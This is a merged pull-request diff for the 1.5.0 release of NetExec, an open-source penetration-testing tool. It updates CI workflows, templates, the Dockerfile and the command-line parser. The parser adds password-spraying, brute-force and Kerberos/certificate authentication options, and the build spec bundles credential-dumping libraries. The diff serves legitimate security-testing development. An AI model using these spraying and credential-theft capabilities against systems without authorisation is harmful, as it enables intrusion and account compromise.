Merge pull request #1048 from Pennyw0rth/v1.5.0-release

Release version 1.5.0 - Yippie-Ki-Yay

.github/ISSUE_TEMPLATE/bug_report.md

@@ -7,6 +7,10 @@ assignees: ''
 
 ---
 
+# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
+
+
+
 **Describe the bug**
 A clear and concise description of what the bug is.
 
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
 
 **NetExec info**
  - OS: [e.g. Kali]
- - Version of nxc: [e.g. v1.5.2]
- - Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
+ - Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
+ - Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
 
 **Additional context**
 Add any other context about the problem here.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Request a new feature or enhancement
+title: ''
+labels: ''
+assignees: ''
+
+---
+**Please Describe The Problem To Be Solved**
+(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
+
+**(Optional): Suggest A Solution**
+(Replace This Text: A concise description of your preferred solution. Things to address include:
+* Details of the technical implementation
+* Tradeoffs made in design decisions
+* Caveats and considerations for the future
+
+If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,35 @@
+## Description
+
+Please include a summary of the change and which issue is fixed, or what the enhancement does.
+List any dependencies that are required for this change.
+
+## Type of change
+Insert an "x" inside the brackets for relevant items (do not delete options)
+
+- [ ] Bug fix (non-breaking change which fixes an issue)
+- [ ] New feature (non-breaking change which adds functionality)
+- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
+- [ ] Deprecation of feature or functionality
+- [ ] This change requires a documentation update
+- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
+
+## Setup guide for the review
+Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
+In particular:
+- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
+- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
+
+## Screenshots (if appropriate):
+Screenshots are always nice to have and can give a visual representation of the change.
+If appropriate include before and after screenshot(s) to show which results are to be expected.
+
+## Checklist:
+Insert an "x" inside the brackets for completed and relevant items (do not delete options)
+
+- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
+- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
+- [ ] New and existing e2e tests pass locally with my changes
+- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
+- [ ] I have performed a self-review of my own code
+- [ ] I have commented my code, particularly in hard-to-understand areas
+- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/build-binaries.yml

@@ -10,28 +10,28 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.11"]
+        python-version: ["3.13"]
         #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
+      uses: actions/setup-python@v5
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Native Binary
       run: |
-        pip install pyinstaller
+        pip install pyinstaller pillow
         pip install .
         pyinstaller netexec.spec
     - name: Upload Windows Binary
       if: runner.os == 'windows'
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc.exe
         path: dist/nxc.exe
     - name: Upload Nix/OSx Binary
       if: runner.os != 'windows'
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc-${{ matrix.os }}
         path: dist/nxc

.github/workflows/build-zipapps.yml

@@ -10,11 +10,11 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.10", "3.11", "3.12", "3.13"]
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
+      uses: actions/setup-python@v5
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
         pip install shiv
         python build_collector.py
     - name: Upload nxc ZipApp
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxc
     - name: Upload nxcdb ZipApp
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxcdb

.github/workflows/lint.yml

@@ -1,24 +1,27 @@
 name: Lint Python code with ruff
 # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
 
-on: [push, pull_request]
+on:
+  push:
+  workflow_dispatch:
+  pull_request_review:
+    types: [submitted]
 
 jobs:
   lint:
-    name: Lint Python code with ruff
     runs-on: ubuntu-latest
     if:
-      github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
+      github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
 
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v4
       - name: Install poetry
         run: |
           pipx install poetry
       - name: Set up Python
-        uses: actions/setup-python@v4
+        uses: actions/setup-python@v5
         with:
-          python-version: 3.11
+          python-version: 3.13
           cache: poetry
           cache-dependency-path: poetry.lock
       - name: Install dependencies with dev group

.github/workflows/test.yml

@@ -1,32 +1,48 @@
 name: NetExec Tests
 
 on:
+  workflow_dispatch:
   pull_request_review:
     types: [submitted]
 
 jobs:
   build:
-    name: NetExec Tests for Py${{ matrix.python-version }}
+    name: Test for Py${{ matrix.python-version }}
+    if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
     runs-on: ${{ matrix.os }}
     strategy:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.10", "3.11", "3.12", "3.13"]
     steps:
-    - uses: actions/checkout@v3
-    - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
-      with:
-        python-version: ${{ matrix.python-version }}
-    - name: Install poetry
-      run: |
-        pipx install poetry --python python${{ matrix.python-version }}
-        poetry --version
-        poetry env info
-    - name: Install libraries with dev group
-      run: |
-        poetry install --with dev
-    - name: Run the e2e test
-      run: |
-        poetry run pytest tests
+      - uses: actions/checkout@v4
+      - name: Install poetry
+        run: |
+          pipx install poetry
+          poetry --version
+          poetry env info
+      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
+        uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+          cache: poetry
+          cache-dependency-path: poetry.lock
+      - name: Install with pipx
+        run: |
+          pipx install . --python python${{ matrix.python-version }}
+      - name: Install libraries with dev group
+        run: |
+          poetry install --with dev
+      - name: Load every protocol and module
+        run: |
+          poetry run netexec winrm 127.0.0.1
+          poetry run netexec vnc 127.0.0.1
+          poetry run netexec smb 127.0.0.1
+          poetry run netexec ldap 127.0.0.1
+          poetry run netexec wmi 127.0.0.1
+          poetry run netexec rdp 127.0.0.1
+          poetry run netexec mssql 127.0.0.1
+          poetry run netexec ssh 127.0.0.1
+          poetry run netexec ftp 127.0.0.1
+          poetry run netexec smb 127.0.0.1 -L

.gitignore

@@ -1,8 +1,10 @@
 data/nxc.db
 hash_spider_default.sqlite3
+hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv
+pyvenv.cfg
 .vscode
 .idea
 # Byte-compiled / optimized / DLL files

Dockerfile

@@ -1,4 +1,32 @@
-FROM python:3.11-slim
+FROM python:3.13-slim-bookworm AS builder
+ENV LANG=C.UTF-8
+ENV LC_ALL=C.UTF-8
+ENV PIP_NO_CACHE_DIR=off
+
+WORKDIR /usr/src/netexec
+
+RUN apt update && \
+    apt install -y --no-install-recommends \
+        libffi-dev \
+        libxml2-dev \
+        libxslt-dev \
+        libssl-dev \
+        openssl \
+        autoconf \
+        g++ \
+        python3-dev \
+        curl \
+        git \
+        unzip \
+    && apt clean && rm -rf /var/lib/apt/lists/*
+
+RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
+ENV PATH="/root/.cargo/bin:${PATH}"
+
+RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
+    && pip install .
+
+FROM python:3.13-slim-bookworm
 
 ENV LANG=C.UTF-8
 ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
 
 WORKDIR /usr/src/netexec
 
-RUN apt-get update && \
-    apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
-RUN apt-get update
-# Get Rust
-RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
-# Add .cargo/bin to PATH
-ENV PATH="/root/.cargo/bin:${PATH}"
-# Check cargo is visible
-RUN cargo --help
+COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
+COPY --from=builder /usr/local/bin /usr/local/bin
 
-COPY . .
-RUN pip install .
+RUN apt update && \
+    apt install -y --no-install-recommends \
+        openssl \
+    && apt clean && rm -rf /var/lib/apt/lists/*
 
-ENTRYPOINT [ "nxc" ]
+ENTRYPOINT ["nxc"]

LICENSE

@@ -1,4 +1,4 @@
-Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
+Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
 Copyright (c) 2022, byt3bl33d3r
 All rights reserved.
 

README.md

@@ -1,4 +1,4 @@
-![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
+![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
 [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
 [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
 [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
 
 You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
 
-- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
+- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
 - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
 - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
 
@@ -37,6 +37,17 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
 # Installation
 Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
 
+## Linux
+```
+sudo apt install pipx git
+pipx ensurepath
+pipx install git+https://github.com/Pennyw0rth/NetExec
+```
+
+## Availability on Unix distributions
+
+[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
+
 # Development
 Development guidelines and recommendations in development
 
@@ -52,3 +63,5 @@ Awesome code contributors of NetExec:
 [![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
 [![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
 [![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
+[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
+[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)

netexec.spec

@@ -13,18 +13,28 @@ a = Analysis(
         ('./nxc/modules', 'nxc/modules')
      ],
      hiddenimports=[
+        'aardwolf',
+        'aardwolf.connection',
+        'aardwolf.commons.queuedata.constants',
+        'aardwolf.commons.iosettings',
+        'aardwolf.commons.target',
+        'aardwolf.protocol.x224.constants',
+        'certipy',
         'impacket.examples.secretsdump',
+        'impacket.examples.regsecrets',
         'impacket.dcerpc.v5.lsat',
         'impacket.dcerpc.v5.transport',
         'impacket.dcerpc.v5.lsad',
         'impacket.dcerpc.v5.gkdi',
         'impacket.dcerpc.v5.rprn',
+        'impacket.dcerpc.v5.even',
+        'impacket.dcerpc.v5.even6',
         'impacket.dpapi_ng',
         'impacket.tds',
         'impacket.version',
         'impacket.ldap.ldap',
+        'jwt',
         'nxc.connection',
-        'nxc.servers.smb',
         'nxc.protocols.smb.wmiexec',
         'nxc.protocols.smb.atexec',
         'nxc.protocols.smb.smbexec',
@@ -32,14 +42,18 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
+        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
+        'nxc.helpers.even6_parser',
         'nxc.helpers.msada_guids',
+        'nxc.helpers.ntlm_parser',
         'paramiko',
+        'pefile',
         'pypsrp.client',
-        'pywerview.cli.helpers',
         'pylnk3',
         'pypykatz',
+        'pyNfsClient',
         'masky',
         'msldap',
         'msldap.connection',
@@ -59,12 +73,17 @@ a = Analysis(
         'dploot.triage.browser',
         'dploot.triage.credentials',
         'dploot.triage.masterkeys',
+        'dploot.triage.mobaxterm',
         'dploot.triage.backupkey',
+        'dploot.triage.wam',
         'dploot.triage.wifi',
+        'dploot.triage.sccm',
         'dploot.lib.target',
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
+        'dateutil.relativedelta',
+        'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
      runtime_hooks=[],

nxc/cli.py

@@ -1,75 +1,112 @@
 import argparse
+import argcomplete
 import sys
 from argparse import RawTextHelpFormatter
+from os import listdir
+from os.path import dirname
+from os.path import join as path_join
+import nxc
+from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.logger import nxc_logger
+from nxc.helpers.args import DisplayDefaultsNotNone
+from nxc.logger import nxc_logger, setup_debug_logging
 import importlib.metadata
 
 
 def gen_cli_args():
-    VERSION = importlib.metadata.version("netexec")
-    CODENAME = "nxc4u"
+    setup_debug_logging()
 
-    parser = argparse.ArgumentParser(description=f"""
+    try:
+        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
+        DISTANCE, COMMIT = COMMIT.split(".")
+    except ValueError:
+        VERSION = importlib.metadata.version("netexec")
+        COMMIT = ""
+        DISTANCE = ""
+    CODENAME = "Yippie-Ki-Yay"
+
+    generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    generic_group = generic_parser.add_argument_group("Generic Options")
+    generic_group.add_argument("--version", action="store_true", help="Display nxc version")
+    generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
+    generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
+    generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
+
+    output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    output_group = output_parser.add_argument_group("Output Options")
+    output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
+    output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
+    log_level = output_group.add_mutually_exclusive_group()
+    log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
+    log_level.add_argument("--debug", action="store_true", help="enable debug level information")
+
+    dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    dns_group = dns_parser.add_argument_group("DNS")
+    dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
+    dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
+    dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
+    dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
+
+    parser = argparse.ArgumentParser(
+        description=rf"""
      .   .
     .|   |.     _   _          _     _____
     ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
-    \\\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
+    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
     .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
-   / /ॱ-ॱ\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
-   ॱ \   / ॱ
-     ॱ   ॱ
+   / /˙-˙\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
+   ˙ \   / ˙
+     ˙   ˙
 
     The network execution tool
     Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
-    
+
     For documentation and usage examples, visit: https://www.netexec.wiki/
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
-    """, formatter_class=RawTextHelpFormatter)
-
-    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
-    parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
-    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
-    parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
-    parser.add_argument("--verbose", action="store_true", help="enable verbose output")
-    parser.add_argument("--debug", action="store_true", help="enable debug level information")
-    parser.add_argument("--version", action="store_true", help="Display nxc version")
+    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
+    """,
+        formatter_class=RawTextHelpFormatter,
+        parents=[generic_parser, output_parser, dns_parser]
+    )
 
     # we do module arg parsing here so we can reference the module_list attribute below
-    module_parser = argparse.ArgumentParser(add_help=False)
-    mgroup = module_parser.add_mutually_exclusive_group()
-    mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
-    module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
-    module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
-    module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
-    module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
-    module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
-    module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
-    module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
+    module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    mgroup = module_parser.add_argument_group("Modules")
+    mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
+    mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
+    mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
+    mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
 
-    subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
+    subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
 
-    std_parser = argparse.ArgumentParser(add_help=False)
-    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
-    std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
-    std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
-    std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
-    std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
-    std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
-    std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
-    std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
-    std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
-    std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
-    std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+    std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
+    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
+    credential_group = std_parser.add_argument_group("Authentication")
+    credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
+    credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+    credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
+    credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
+    credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
+    credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
+    credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+    credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
+    credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
 
-    fail_group = std_parser.add_mutually_exclusive_group()
-    fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
-    fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
-    fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
+    kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
+    kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
+    kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
+    kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
+    kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+
+    certificate_group = std_parser.add_argument_group("Certificate Authentication")
+    certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
+    certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
+    certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
+    certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
+    certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
 
     p_loader = ProtocolLoader()
     protocols = p_loader.get_protocols()
@@ -77,18 +114,36 @@ def gen_cli_args():
     try:
         for protocol in protocols:
             protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
-            subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
+            subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
     except Exception as e:
         nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
 
+    argcomplete.autocomplete(parser, always_complete_options=False)
+    args = parser.parse_args()
+
     if len(sys.argv) == 1:
         parser.print_help()
         sys.exit(1)
 
-    args = parser.parse_args()
-
     if args.version:
-        print(f"{VERSION} - {CODENAME}")
+        print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
         sys.exit(1)
 
-    return args
+    # Multiply output_tries by 10 to enable more fine granural control, see exec methods
+    if hasattr(args, "get_output_tries"):
+        args.get_output_tries = args.get_output_tries * 10
+
+    return args, [CODENAME, VERSION, COMMIT, DISTANCE]
+
+
+def get_module_names():
+    """Get module names without initializing them"""
+    modules = []
+    modules_paths = [
+        path_join(dirname(nxc.__file__), "modules"),
+        path_join(NXC_PATH, "modules"),
+    ]
+
+    for path in modules_paths:
+        modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
+    return sorted(modules, key=str.casefold)

nxc/config.py

@@ -1,7 +1,6 @@
-import os
 from os.path import join as path_join
 import configparser
-from nxc.paths import NXC_PATH, DATA_PATH
+from nxc.paths import DATA_PATH, CONFIG_PATH
 from nxc.first_run import first_run_setup
 from nxc.logger import nxc_logger
 from ast import literal_eval
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
 nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
 
 nxc_config = configparser.ConfigParser()
-nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
+nxc_config.read(CONFIG_PATH)
 
 if "nxc" not in nxc_config.sections():
     first_run_setup()
-    nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
+    nxc_config.read(CONFIG_PATH)
 
 # Check if there are any missing options in the config file
 for section in nxc_default_config.sections():
+    if not nxc_config.has_section(section):
+        nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
+        nxc_config.add_section(section)
+        with open(CONFIG_PATH, "w") as config_file:
+            nxc_config.write(config_file)
     for option in nxc_default_config.options(section):
         if not nxc_config.has_option(section, option):
             nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
             nxc_config.set(section, option, nxc_default_config.get(section, option))
 
-            with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
+            with open(CONFIG_PATH, "w") as config_file:
                 nxc_config.write(config_file)
 
 # THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -32,9 +36,8 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
 audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
 reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
 config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
-ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
 host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
-
+check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
 
 if len(host_info_colors) != 4:
     nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
@@ -43,5 +46,5 @@ if len(host_info_colors) != 4:
 
 # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
 def process_secret(text):
-    hidden = text[:reveal_chars_of_pwd]
-    return text if not audit_mode else hidden + audit_mode * 8
+    reveal = text[:reveal_chars_of_pwd]
+    return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)

nxc/connection.py

@@ -1,53 +1,104 @@
+from datetime import datetime
+import os
 import random
+import sys
+import contextlib
+
 from os.path import isfile
 from threading import BoundedSemaphore
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
+from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
+from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
+from nxc.paths import NXC_PATH
+from nxc.protocols.ldap.laps import laps_search
+from nxc.helpers.pfx import pfx_auth
 
 from impacket.dcerpc.v5 import transport
-import sys
 
 sem = BoundedSemaphore(1)
 global_failed_logins = 0
 user_failed_logins = {}
 
 
-def gethost_addrinfo(hostname):
-    is_ipv6 = False
-    is_link_local_ipv6 = False
+def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
+    result = {
+        "host": "",
+        "is_ipv6": False,
+        "is_link_local_ipv6": False
+    }
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
